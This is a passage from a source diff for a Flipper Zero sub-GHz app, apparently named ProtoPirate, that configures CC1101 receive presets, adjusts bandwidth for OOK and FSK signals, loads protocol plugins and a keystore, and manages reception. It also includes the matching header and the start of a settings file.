#define PROTOPIRATE_FM_BANDWIDTH_GUARD_HZ 50000UL
|
||||
|
||||
#define PROTOPIRATE_CC1101_MOD_FORMAT_MASK 0x70U
|
||||
#define PROTOPIRATE_CC1101_MOD_FORMAT_2FSK 0x00U
|
||||
#define PROTOPIRATE_CC1101_MOD_FORMAT_GFSK 0x10U
|
||||
#define PROTOPIRATE_CC1101_MOD_FORMAT_OOK 0x30U
|
||||
|
||||
static bool protopirate_rx_chain_preset_get_register(
|
||||
const uint8_t* data,
|
||||
size_t size,
|
||||
uint8_t reg,
|
||||
uint8_t* value) {
|
||||
if(!data || !value || (size < 2U)) {
|
||||
return false;
|
||||
}
|
||||
for(size_t i = 0; i + 1U < size; i += 2U) {
|
||||
if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
|
||||
break;
|
||||
}
|
||||
if(data[i] == reg) {
|
||||
*value = data[i + 1U];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool protopirate_rx_chain_preset_set_register(
|
||||
uint8_t* data,
|
||||
size_t size,
|
||||
uint8_t reg,
|
||||
uint8_t value) {
|
||||
if(!data || (size < 2U)) {
|
||||
return false;
|
||||
}
|
||||
for(size_t i = 0; i + 1U < size; i += 2U) {
|
||||
if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
|
||||
break;
|
||||
}
|
||||
if(data[i] == reg) {
|
||||
data[i + 1U] = value;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool protopirate_rx_chain_preset_find_terminator(
|
||||
const uint8_t* data,
|
||||
size_t size,
|
||||
size_t* offset) {
|
||||
if(!data || !offset || size < 2U) {
|
||||
return false;
|
||||
}
|
||||
for(size_t i = 0; i + 1U < size; i += 2U) {
|
||||
if(data[i] == 0x00U && data[i + 1U] == 0x00U) {
|
||||
*offset = i;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static uint32_t protopirate_rx_chain_channel_bandwidth_hz(uint8_t mdmcfg4) {
|
||||
uint8_t exponent = (mdmcfg4 >> 6U) & 0x03U;
|
||||
uint8_t mantissa = (mdmcfg4 >> 4U) & 0x03U;
|
||||
uint32_t denominator = 8UL * (4UL + mantissa) * (1UL << exponent);
|
||||
return PROTOPIRATE_CC1101_XTAL_HZ / denominator;
|
||||
}
|
||||
|
||||
static uint32_t protopirate_rx_chain_data_rate_hz(uint8_t mdmcfg4, uint8_t mdmcfg3) {
|
||||
uint8_t exponent = mdmcfg4 & 0x0FU;
|
||||
uint64_t numerator =
|
||||
(uint64_t)(256UL + mdmcfg3) * (1ULL << exponent) * PROTOPIRATE_CC1101_XTAL_HZ;
|
||||
return (uint32_t)((numerator + (1ULL << 27U)) >> 28U);
|
||||
}
|
||||
|
||||
static uint32_t protopirate_rx_chain_deviation_hz(uint8_t deviatn) {
|
||||
uint8_t exponent = (deviatn >> 4U) & 0x07U;
|
||||
uint8_t mantissa = deviatn & 0x07U;
|
||||
uint64_t numerator =
|
||||
(uint64_t)PROTOPIRATE_CC1101_XTAL_HZ * (8UL + mantissa) * (1ULL << exponent);
|
||||
return (uint32_t)((numerator + (1ULL << 16U)) >> 17U);
|
||||
}
|
||||
|
||||
static uint8_t protopirate_rx_chain_select_bandwidth_bits(
|
||||
uint32_t minimum_hz,
|
||||
uint32_t* selected_hz) {
|
||||
static const uint8_t bandwidth_bits[] = {
|
||||
0x0FU,
|
||||
0x0EU,
|
||||
0x0DU,
|
||||
0x0CU,
|
||||
0x0BU,
|
||||
0x0AU,
|
||||
0x09U,
|
||||
0x08U,
|
||||
0x07U,
|
||||
0x06U,
|
||||
0x05U,
|
||||
0x04U,
|
||||
0x03U,
|
||||
0x02U,
|
||||
0x01U,
|
||||
0x00U,
|
||||
};
|
||||
|
||||
const size_t bandwidth_count = sizeof(bandwidth_bits) / sizeof(bandwidth_bits[0]);
|
||||
for(size_t i = 0; i < bandwidth_count; i++) {
|
||||
uint32_t bandwidth =
|
||||
protopirate_rx_chain_channel_bandwidth_hz((uint8_t)(bandwidth_bits[i] << 4U));
|
||||
if(bandwidth >= minimum_hz) {
|
||||
if(selected_hz) {
|
||||
*selected_hz = bandwidth;
|
||||
}
|
||||
return bandwidth_bits[i];
|
||||
}
|
||||
}
|
||||
|
||||
if(selected_hz) {
|
||||
*selected_hz = protopirate_rx_chain_channel_bandwidth_hz(0x00U);
|
||||
}
|
||||
return 0x00U;
|
||||
}
|
||||
|
||||
static const char* protopirate_rx_chain_plugin_path(ProtoPirateProtocolRegistryFilter filter) {
|
||||
return (filter == ProtoPirateProtocolRegistryFilterFM) ?
|
||||
APP_ASSETS_PATH("plugins/protopirate_fm_plugin.fal") :
|
||||
APP_ASSETS_PATH("plugins/protopirate_am_plugin.fal");
|
||||
}
|
||||
|
||||
ProtoPirateRxChain* protopirate_rx_chain_alloc(char label) {
|
||||
ProtoPirateRxChain* chain = malloc(sizeof(ProtoPirateRxChain));
|
||||
furi_check(chain);
|
||||
memset(chain, 0, sizeof(ProtoPirateRxChain));
|
||||
chain->label = label;
|
||||
chain->preset.name = furi_string_alloc();
|
||||
furi_check(chain->preset.name);
|
||||
chain->state = ProtoPirateTxRxStateIDLE;
|
||||
chain->filter = ProtoPirateProtocolRegistryFilterAM;
|
||||
return chain;
|
||||
}
|
||||
|
||||
static void protopirate_rx_chain_unload_plugin(ProtoPirateRxChain* chain) {
|
||||
chain->plugin = NULL;
|
||||
chain->registry = NULL;
|
||||
if(chain->plugin_manager) {
|
||||
plugin_manager_free(chain->plugin_manager);
|
||||
chain->plugin_manager = NULL;
|
||||
}
|
||||
if(chain->resolver) {
|
||||
composite_api_resolver_free(chain->resolver);
|
||||
chain->resolver = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void protopirate_rx_chain_free(ProtoPirateRxChain* chain) {
|
||||
if(!chain) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Make sure RX is stopped before tearing anything down.
|
||||
protopirate_rx_chain_stop(chain);
|
||||
|
||||
if(chain->receiver) {
|
||||
subghz_receiver_set_rx_callback(chain->receiver, NULL, NULL);
|
||||
subghz_receiver_free(chain->receiver);
|
||||
chain->receiver = NULL;
|
||||
}
|
||||
|
||||
if(chain->worker) {
|
||||
if(subghz_worker_is_running(chain->worker)) {
|
||||
subghz_worker_stop(chain->worker);
|
||||
}
|
||||
subghz_worker_free(chain->worker);
|
||||
chain->worker = NULL;
|
||||
}
|
||||
|
||||
if(chain->device) {
|
||||
subghz_devices_idle(chain->device);
|
||||
radio_device_loader_end(chain->device);
|
||||
chain->device = NULL;
|
||||
}
|
||||
|
||||
protopirate_rx_chain_unload_plugin(chain);
|
||||
|
||||
if(chain->environment) {
|
||||
subghz_environment_free(chain->environment);
|
||||
chain->environment = NULL;
|
||||
}
|
||||
|
||||
if(chain->preset.name) {
|
||||
furi_string_free(chain->preset.name);
|
||||
chain->preset.name = NULL;
|
||||
}
|
||||
|
||||
if(chain->owned_preset_data) {
|
||||
free(chain->owned_preset_data);
|
||||
chain->owned_preset_data = NULL;
|
||||
}
|
||||
|
||||
free(chain);
|
||||
}
|
||||
|
||||
bool protopirate_rx_chain_acquire_device(
|
||||
ProtoPirateRxChain* chain,
|
||||
SubGhzRadioDeviceType type) {
|
||||
furi_check(chain);
|
||||
|
||||
chain->device = radio_device_loader_set(NULL, type);
|
||||
if(!chain->device) {
|
||||
FURI_LOG_E(TAG, "[%c] Failed to acquire radio device (type=%d)", chain->label, type);
|
||||
return false;
|
||||
}
|
||||
|
||||
chain->is_external = radio_device_loader_is_external(chain->device);
|
||||
|
||||
if(type == SubGhzRadioDeviceTypeExternalCC1101 && !chain->is_external) {
|
||||
|
||||
FURI_LOG_E(TAG, "[%c] External requested but unavailable", chain->label);
|
||||
radio_device_loader_end(chain->device);
|
||||
chain->device = NULL;
|
||||
return false;
|
||||
}
|
||||
|
||||
subghz_devices_reset(chain->device);
|
||||
subghz_devices_idle(chain->device);
|
||||
FURI_LOG_I(
|
||||
TAG, "[%c] Acquired %s radio", chain->label, chain->is_external ? "external" : "internal");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool protopirate_rx_chain_set_preset(
|
||||
ProtoPirateRxChain* chain,
|
||||
SubGhzSetting* setting,
|
||||
const char* preset_name,
|
||||
uint32_t frequency) {
|
||||
furi_check(chain);
|
||||
furi_check(setting);
|
||||
furi_check(preset_name);
|
||||
|
||||
size_t preset_count = subghz_setting_get_preset_count(setting);
|
||||
for(size_t i = 0; i < preset_count; i++) {
|
||||
if(strcmp(subghz_setting_get_preset_name(setting, i), preset_name) == 0) {
|
||||
return protopirate_rx_chain_set_preset_data(
|
||||
chain,
|
||||
preset_name,
|
||||
subghz_setting_get_preset_data(setting, i),
|
||||
subghz_setting_get_preset_data_size(setting, i),
|
||||
frequency);
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_E(TAG, "[%c] Unknown preset %s", chain->label, preset_name);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool protopirate_rx_chain_set_preset_data(
|
||||
ProtoPirateRxChain* chain,
|
||||
const char* preset_name,
|
||||
uint8_t* preset_data,
|
||||
size_t preset_data_size,
|
||||
uint32_t frequency) {
|
||||
furi_check(chain);
|
||||
furi_check(preset_name);
|
||||
|
||||
if(!preset_data || preset_data_size < 2U) {
|
||||
FURI_LOG_E(TAG, "[%c] Invalid preset data for %s", chain->label, preset_name);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(chain->owned_preset_data) {
|
||||
free(chain->owned_preset_data);
|
||||
chain->owned_preset_data = NULL;
|
||||
}
|
||||
|
||||
furi_string_set(chain->preset.name, preset_name);
|
||||
chain->preset.frequency = frequency;
|
||||
chain->preset.data = preset_data;
|
||||
chain->preset.data_size = preset_data_size;
|
||||
chain->base_preset_data = preset_data;
|
||||
chain->base_preset_data_size = preset_data_size;
|
||||
chain->frequency = frequency;
|
||||
chain->filter =
|
||||
protopirate_get_protocol_registry_filter_for_preset(preset_data, preset_data_size);
|
||||
uint8_t mdmcfg4 = 0U;
|
||||
chain->rx_bandwidth_hz = protopirate_rx_chain_preset_get_register(
|
||||
preset_data,
|
||||
preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_MDMCFG4,
|
||||
&mdmcfg4) ?
|
||||
protopirate_rx_chain_channel_bandwidth_hz(mdmcfg4) :
|
||||
0U;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool protopirate_rx_chain_apply_ook_shield_profile(ProtoPirateRxChain* chain) {
|
||||
if(!chain->base_preset_data || chain->preset.data_size < 2U) {
|
||||
FURI_LOG_E(TAG, "[%c] cannot narrow RX BW without preset data", chain->label);
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t mdmcfg4 = 0U;
|
||||
if(!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_MDMCFG4,
|
||||
&mdmcfg4)) {
|
||||
FURI_LOG_W(TAG, "[%c] OOK preset missing MDMCFG4; retaining original", chain->label);
|
||||
return true;
|
||||
}
|
||||
|
||||
const uint8_t narrowed_mdmcfg4 =
|
||||
(uint8_t)((mdmcfg4 & 0x0FU) | PROTOPIRATE_CC1101_CHANBW_135_KHZ_MASK);
|
||||
|
||||
const struct {
|
||||
uint8_t reg;
|
||||
uint8_t value;
|
||||
} narrow_registers[] = {
|
||||
{PROTOPIRATE_CC1101_REG_FIFOTHR, 0x47U},
|
||||
{PROTOPIRATE_CC1101_REG_FSCTRL1, 0x06U},
|
||||
{PROTOPIRATE_CC1101_REG_MDMCFG4, narrowed_mdmcfg4},
|
||||
{PROTOPIRATE_CC1101_REG_AGCCTRL2, 0x04U},
|
||||
{PROTOPIRATE_CC1101_REG_AGCCTRL1, 0x00U},
|
||||
{PROTOPIRATE_CC1101_REG_AGCCTRL0, 0x92U},
|
||||
{PROTOPIRATE_CC1101_REG_FREND1, 0x56U},
|
||||
{PROTOPIRATE_CC1101_REG_TEST2, 0x81U},
|
||||
{PROTOPIRATE_CC1101_REG_TEST1, 0x35U},
|
||||
};
|
||||
|
||||
const size_t register_count = sizeof(narrow_registers) / sizeof(narrow_registers[0]);
|
||||
size_t missing_count = 0U;
|
||||
for(size_t i = 0; i < register_count; i++) {
|
||||
uint8_t value = 0U;
|
||||
if(!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
narrow_registers[i].reg,
|
||||
&value)) {
|
||||
missing_count++;
|
||||
}
|
||||
}
|
||||
|
||||
size_t terminator_offset = 0U;
|
||||
if(!protopirate_rx_chain_preset_find_terminator(
|
||||
chain->base_preset_data, chain->base_preset_data_size, &terminator_offset)) {
|
||||
FURI_LOG_W(TAG, "[%c] OOK preset has no terminator; retaining original", chain->label);
|
||||
return true;
|
||||
}
|
||||
|
||||
const size_t expanded_size = chain->base_preset_data_size + (missing_count * 2U);
|
||||
uint8_t* copy = malloc(expanded_size);
|
||||
if(!copy) {
|
||||
FURI_LOG_E(TAG, "[%c] failed to build narrow RX preset", chain->label);
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(copy, chain->base_preset_data, terminator_offset);
|
||||
size_t write_offset = terminator_offset;
|
||||
for(size_t i = 0; i < register_count; i++) {
|
||||
uint8_t value = 0U;
|
||||
if(!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
narrow_registers[i].reg,
|
||||
&value)) {
|
||||
copy[write_offset++] = narrow_registers[i].reg;
|
||||
copy[write_offset++] = narrow_registers[i].value;
|
||||
}
|
||||
}
|
||||
memcpy(
|
||||
©[write_offset],
|
||||
&chain->base_preset_data[terminator_offset],
|
||||
chain->base_preset_data_size - terminator_offset);
|
||||
|
||||
for(size_t i = 0; i < register_count; i++) {
|
||||
if(!protopirate_rx_chain_preset_set_register(
|
||||
copy, expanded_size, narrow_registers[i].reg, narrow_registers[i].value)) {
|
||||
FURI_LOG_E(TAG, "[%c] failed to patch narrow RX preset", chain->label);
|
||||
free(copy);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
chain->owned_preset_data = copy;
|
||||
chain->preset.data = copy;
|
||||
chain->preset.data_size = expanded_size;
|
||||
chain->rx_bandwidth_hz =
|
||||
protopirate_rx_chain_channel_bandwidth_hz(PROTOPIRATE_CC1101_CHANBW_135_KHZ_MASK);
|
||||
FURI_LOG_I(TAG, "[%c] applied TI 135 kHz OOK sensitivity profile", chain->label);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool protopirate_rx_chain_apply_fm_shield_profile(ProtoPirateRxChain* chain) {
|
||||
uint8_t mdmcfg2 = 0U;
|
||||
uint8_t mdmcfg3 = 0U;
|
||||
uint8_t mdmcfg4 = 0U;
|
||||
uint8_t deviatn = 0U;
|
||||
if(!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_MDMCFG2,
|
||||
&mdmcfg2) ||
|
||||
!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_MDMCFG3,
|
||||
&mdmcfg3) ||
|
||||
!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_MDMCFG4,
|
||||
&mdmcfg4) ||
|
||||
!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_DEVIATN,
|
||||
&deviatn)) {
|
||||
FURI_LOG_W(TAG, "[%c] incomplete FM preset; retaining original bandwidth", chain->label);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint8_t modulation = mdmcfg2 & PROTOPIRATE_CC1101_MOD_FORMAT_MASK;
|
||||
if(modulation != PROTOPIRATE_CC1101_MOD_FORMAT_2FSK &&
|
||||
modulation != PROTOPIRATE_CC1101_MOD_FORMAT_GFSK) {
|
||||
FURI_LOG_W(TAG, "[%c] unsupported FM format; retaining original bandwidth", chain->label);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t data_rate = protopirate_rx_chain_data_rate_hz(mdmcfg4, mdmcfg3);
|
||||
uint32_t deviation = protopirate_rx_chain_deviation_hz(deviatn);
|
||||
uint32_t minimum_bandwidth =
|
||||
data_rate + (2UL * deviation) + PROTOPIRATE_FM_BANDWIDTH_GUARD_HZ;
|
||||
uint32_t selected_bandwidth = 0U;
|
||||
uint8_t bandwidth_bits =
|
||||
protopirate_rx_chain_select_bandwidth_bits(minimum_bandwidth, &selected_bandwidth);
|
||||
uint32_t original_bandwidth = protopirate_rx_chain_channel_bandwidth_hz(mdmcfg4);
|
||||
|
||||
if(selected_bandwidth >= original_bandwidth) {
|
||||
chain->rx_bandwidth_hz = original_bandwidth;
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"[%c] FM preset already uses suitable %lu Hz bandwidth",
|
||||
chain->label,
|
||||
original_bandwidth);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint8_t* copy = malloc(chain->base_preset_data_size);
|
||||
if(!copy) {
|
||||
FURI_LOG_E(TAG, "[%c] failed to copy FM preset", chain->label);
|
||||
return false;
|
||||
}
|
||||
memcpy(copy, chain->base_preset_data, chain->base_preset_data_size);
|
||||
|
||||
uint8_t profiled_mdmcfg4 = (uint8_t)((mdmcfg4 & 0x0FU) | (bandwidth_bits << 4U));
|
||||
if(!protopirate_rx_chain_preset_set_register(
|
||||
copy,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_MDMCFG4,
|
||||
profiled_mdmcfg4)) {
|
||||
free(copy);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(selected_bandwidth <= 101562UL) {
|
||||
uint8_t agcctrl2 = 0U;
|
||||
if(protopirate_rx_chain_preset_get_register(
|
||||
copy,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_AGCCTRL2,
|
||||
&agcctrl2)) {
|
||||
protopirate_rx_chain_preset_set_register(
|
||||
copy,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_AGCCTRL2,
|
||||
(uint8_t)((agcctrl2 & 0xF8U) | 0x03U));
|
||||
}
|
||||
}
|
||||
|
||||
chain->owned_preset_data = copy;
|
||||
chain->preset.data = copy;
|
||||
chain->preset.data_size = chain->base_preset_data_size;
|
||||
chain->rx_bandwidth_hz = selected_bandwidth;
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"[%c] FM Shield profile: rate=%lu dev=%lu bandwidth=%lu Hz",
|
||||
chain->label,
|
||||
data_rate,
|
||||
deviation,
|
||||
selected_bandwidth);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool protopirate_rx_chain_apply_shield_profile(ProtoPirateRxChain* chain) {
|
||||
furi_check(chain);
|
||||
|
||||
if(chain->owned_preset_data) {
|
||||
free(chain->owned_preset_data);
|
||||
chain->owned_preset_data = NULL;
|
||||
}
|
||||
chain->preset.data = chain->base_preset_data;
|
||||
chain->preset.data_size = chain->base_preset_data_size;
|
||||
|
||||
uint8_t mdmcfg2 = 0U;
|
||||
if(!protopirate_rx_chain_preset_get_register(
|
||||
chain->base_preset_data,
|
||||
chain->base_preset_data_size,
|
||||
PROTOPIRATE_CC1101_REG_MDMCFG2,
|
||||
&mdmcfg2)) {
|
||||
FURI_LOG_W(TAG, "[%c] preset modulation unknown; retaining original", chain->label);
|
||||
return true;
|
||||
}
|
||||
|
||||
switch(mdmcfg2 & PROTOPIRATE_CC1101_MOD_FORMAT_MASK) {
|
||||
case PROTOPIRATE_CC1101_MOD_FORMAT_OOK:
|
||||
return protopirate_rx_chain_apply_ook_shield_profile(chain);
|
||||
case PROTOPIRATE_CC1101_MOD_FORMAT_2FSK:
|
||||
case PROTOPIRATE_CC1101_MOD_FORMAT_GFSK:
|
||||
return protopirate_rx_chain_apply_fm_shield_profile(chain);
|
||||
default:
|
||||
FURI_LOG_W(TAG, "[%c] no Shield profile for modulation; retaining original", chain->label);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
bool protopirate_rx_chain_init_receiver(ProtoPirateRxChain* chain) {
|
||||
furi_check(chain);
|
||||
|
||||
if(!chain->environment) {
|
||||
chain->environment = subghz_environment_alloc();
|
||||
if(!chain->environment) {
|
||||
FURI_LOG_E(TAG, "[%c] Failed to allocate environment", chain->label);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if(!chain->plugin) {
|
||||
CompositeApiResolver* resolver = composite_api_resolver_alloc();
|
||||
if(!resolver) {
|
||||
FURI_LOG_E(TAG, "[%c] Failed to allocate plugin resolver", chain->label);
|
||||
return false;
|
||||
}
|
||||
composite_api_resolver_add(resolver, firmware_api_interface);
|
||||
|
||||
PluginManager* manager = plugin_manager_alloc(
|
||||
PROTOPIRATE_PROTOCOL_PLUGIN_APP_ID,
|
||||
PROTOPIRATE_PROTOCOL_PLUGIN_API_VERSION,
|
||||
composite_api_resolver_get(resolver));
|
||||
if(!manager) {
|
||||
FURI_LOG_E(TAG, "[%c] Failed to allocate plugin manager", chain->label);
|
||||
composite_api_resolver_free(resolver);
|
||||
return false;
|
||||
}
|
||||
|
||||
const char* plugin_path = protopirate_rx_chain_plugin_path(chain->filter);
|
||||
PluginManagerError error = plugin_manager_load_single(manager, plugin_path);
|
||||
if(error != PluginManagerErrorNone) {
|
||||
FURI_LOG_E(TAG, "[%c] Failed to load plugin %s: %d", chain->label, plugin_path, (int)error);
|
||||
plugin_manager_free(manager);
|
||||
composite_api_resolver_free(resolver);
|
||||
return false;
|
||||
}
|
||||
|
||||
const ProtoPirateProtocolPlugin* plugin = plugin_manager_get_ep(manager, 0U);
|
||||
if(!plugin || !plugin->registry || plugin->filter != chain->filter) {
|
||||
FURI_LOG_E(TAG, "[%c] Invalid plugin entry point", chain->label);
|
||||
plugin_manager_free(manager);
|
||||
composite_api_resolver_free(resolver);
|
||||
return false;
|
||||
}
|
||||
|
||||
chain->resolver = resolver;
|
||||
chain->plugin_manager = manager;
|
||||
chain->plugin = plugin;
|
||||
chain->registry = plugin->registry;
|
||||
}
|
||||
|
||||
subghz_environment_set_protocol_registry(chain->environment, chain->registry);
|
||||
|
||||
subghz_environment_load_keystore(chain->environment, PROTOPIRATE_CHAIN_KEYSTORE_DIR);
|
||||
protopirate_keys_load(chain->environment);
|
||||
|
||||
if(!chain->receiver) {
|
||||
chain->receiver = subghz_receiver_alloc_init(chain->environment);
|
||||
if(!chain->receiver) {
|
||||
FURI_LOG_E(TAG, "[%c] Failed to allocate receiver", chain->label);
|
||||
return false;
|
||||
}
|
||||
subghz_receiver_set_filter(chain->receiver, SubGhzProtocolFlag_Decodable);
|
||||
}
|
||||
|
||||
if(!chain->worker) {
|
||||
chain->worker = subghz_worker_alloc();
|
||||
if(!chain->worker) {
|
||||
FURI_LOG_E(TAG, "[%c] Failed to allocate worker", chain->label);
|
||||
return false;
|
||||
}
|
||||
subghz_worker_set_overrun_callback(
|
||||
chain->worker, (SubGhzWorkerOverrunCallback)subghz_receiver_reset);
|
||||
subghz_worker_set_pair_callback(
|
||||
chain->worker, (SubGhzWorkerPairCallback)subghz_receiver_decode);
|
||||
subghz_worker_set_context(chain->worker, chain->receiver);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void protopirate_rx_chain_set_decode_callback(
|
||||
ProtoPirateRxChain* chain,
|
||||
SubGhzReceiverCallback callback,
|
||||
void* context) {
|
||||
furi_check(chain);
|
||||
furi_check(chain->receiver);
|
||||
subghz_receiver_set_rx_callback(chain->receiver, callback, context);
|
||||
}
|
||||
|
||||
bool protopirate_rx_chain_start(ProtoPirateRxChain* chain) {
|
||||
furi_check(chain);
|
||||
if(!chain->device || !chain->worker || !chain->receiver) {
|
||||
FURI_LOG_E(TAG, "[%c] start rejected (incomplete stack)", chain->label);
|
||||
return false;
|
||||
}
|
||||
if(chain->state == ProtoPirateTxRxStateRx) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if(!subghz_devices_is_frequency_valid(chain->device, chain->frequency)) {
|
||||
FURI_LOG_E(TAG, "[%c] invalid frequency %lu", chain->label, chain->frequency);
|
||||
return false;
|
||||
}
|
||||
|
||||
subghz_receiver_reset(chain->receiver);
|
||||
|
||||
subghz_devices_reset(chain->device);
|
||||
subghz_devices_idle(chain->device);
|
||||
subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset.data);
|
||||
subghz_devices_set_frequency(chain->device, chain->frequency);
|
||||
subghz_devices_flush_rx(chain->device);
|
||||
subghz_devices_set_rx(chain->device);
|
||||
|
||||
subghz_devices_start_async_rx(chain->device, subghz_worker_rx_callback, chain->worker);
|
||||
subghz_worker_start(chain->worker);
|
||||
chain->state = ProtoPirateTxRxStateRx;
|
||||
FURI_LOG_I(TAG, "[%c] RX started on %lu Hz", chain->label, chain->frequency);
|
||||
return true;
|
||||
}
|
||||
|
||||
void protopirate_rx_chain_stop(ProtoPirateRxChain* chain) {
|
||||
if(!chain) {
|
||||
return;
|
||||
}
|
||||
if(chain->state != ProtoPirateTxRxStateRx) {
|
||||
return;
|
||||
}
|
||||
|
||||
if(chain->worker && subghz_worker_is_running(chain->worker)) {
|
||||
subghz_worker_stop(chain->worker);
|
||||
}
|
||||
if(chain->device) {
|
||||
subghz_devices_stop_async_rx(chain->device);
|
||||
subghz_devices_idle(chain->device);
|
||||
}
|
||||
chain->state = ProtoPirateTxRxStateIDLE;
|
||||
}
|
||||
|
||||
float protopirate_rx_chain_get_rssi(ProtoPirateRxChain* chain) {
|
||||
furi_check(chain);
|
||||
if(!chain->device || chain->state != ProtoPirateTxRxStateRx) {
|
||||
return -127.0f;
|
||||
}
|
||||
return subghz_devices_get_rssi(chain->device);
|
||||
}
|
||||
|
||||
#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE
|
||||
@@ -0,0 +1,82 @@
|
||||
// helpers/protopirate_rx_chain.h
|
||||
#pragma once
|
||||
|
||||
#include "protopirate_types.h"
|
||||
|
||||
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
|
||||
|
||||
#include <lib/subghz/subghz_worker.h>
|
||||
#include <lib/subghz/receiver.h>
|
||||
#include <lib/subghz/subghz_setting.h>
|
||||
#include <lib/subghz/devices/devices.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/flipper_application/plugins/plugin_manager.h>
|
||||
#include <lib/flipper_application/plugins/composite_resolver.h>
|
||||
|
||||
#include "radio_device_loader.h"
|
||||
#include "../protocols/protocol_items.h"
|
||||
#include "../protocols/protopirate_protocol_plugins.h"
|
||||
|
||||
typedef struct {
|
||||
char label; // 'A' or 'B' (display tag)
|
||||
const SubGhzDevice* device;
|
||||
bool is_external;
|
||||
|
||||
SubGhzWorker* worker;
|
||||
SubGhzReceiver* receiver;
|
||||
SubGhzEnvironment* environment;
|
||||
|
||||
CompositeApiResolver* resolver;
|
||||
PluginManager* plugin_manager;
|
||||
const ProtoPirateProtocolPlugin* plugin;
|
||||
const SubGhzProtocolRegistry* registry;
|
||||
ProtoPirateProtocolRegistryFilter filter;
|
||||
|
||||
SubGhzRadioPreset preset; // .name is an owned FuriString
|
||||
uint8_t* base_preset_data;
|
||||
size_t base_preset_data_size;
|
||||
|
||||
uint8_t* owned_preset_data;
|
||||
uint32_t frequency;
|
||||
uint32_t rx_bandwidth_hz;
|
||||
|
||||
ProtoPirateTxRxState state;
|
||||
} ProtoPirateRxChain;
|
||||
|
||||
ProtoPirateRxChain* protopirate_rx_chain_alloc(char label);
|
||||
|
||||
void protopirate_rx_chain_free(ProtoPirateRxChain* chain);
|
||||
|
||||
bool protopirate_rx_chain_acquire_device(
|
||||
ProtoPirateRxChain* chain,
|
||||
SubGhzRadioDeviceType type);
|
||||
|
||||
bool protopirate_rx_chain_set_preset(
|
||||
ProtoPirateRxChain* chain,
|
||||
SubGhzSetting* setting,
|
||||
const char* preset_name,
|
||||
uint32_t frequency);
|
||||
|
||||
bool protopirate_rx_chain_set_preset_data(
|
||||
ProtoPirateRxChain* chain,
|
||||
const char* preset_name,
|
||||
uint8_t* preset_data,
|
||||
size_t preset_data_size,
|
||||
uint32_t frequency);
|
||||
|
||||
bool protopirate_rx_chain_apply_shield_profile(ProtoPirateRxChain* chain);
|
||||
|
||||
bool protopirate_rx_chain_init_receiver(ProtoPirateRxChain* chain);
|
||||
|
||||
void protopirate_rx_chain_set_decode_callback(
|
||||
ProtoPirateRxChain* chain,
|
||||
SubGhzReceiverCallback callback,
|
||||
void* context);
|
||||
|
||||
bool protopirate_rx_chain_start(ProtoPirateRxChain* chain);
|
||||
|
||||
void protopirate_rx_chain_stop(ProtoPirateRxChain* chain);
|
||||
|
||||
float protopirate_rx_chain_get_rssi(ProtoPirateRxChain* chain);
|
||||
|
||||
#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE
|
||||
@@ -0,0 +1,264 @@
|
||||
// helpers/protopirate_settings.c
|
||||
#include "protopirate_settings.h"
|
||||
#include <storage/storage.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
#include <furi.h>
|
||||
#include <stdio.h>
|
||||
#include "../defines.h"
|
||||
#include "../protocols/protocols_common.h"
|
||||
|
||||
#define TAG "ProtoPirateSettings"
|
||||
|
||||
#define SETTINGS_FILE_HEADER "ProtoPirate Settings"
|
||||
#define SETTINGS_FILE_VERSION 1
|
||||
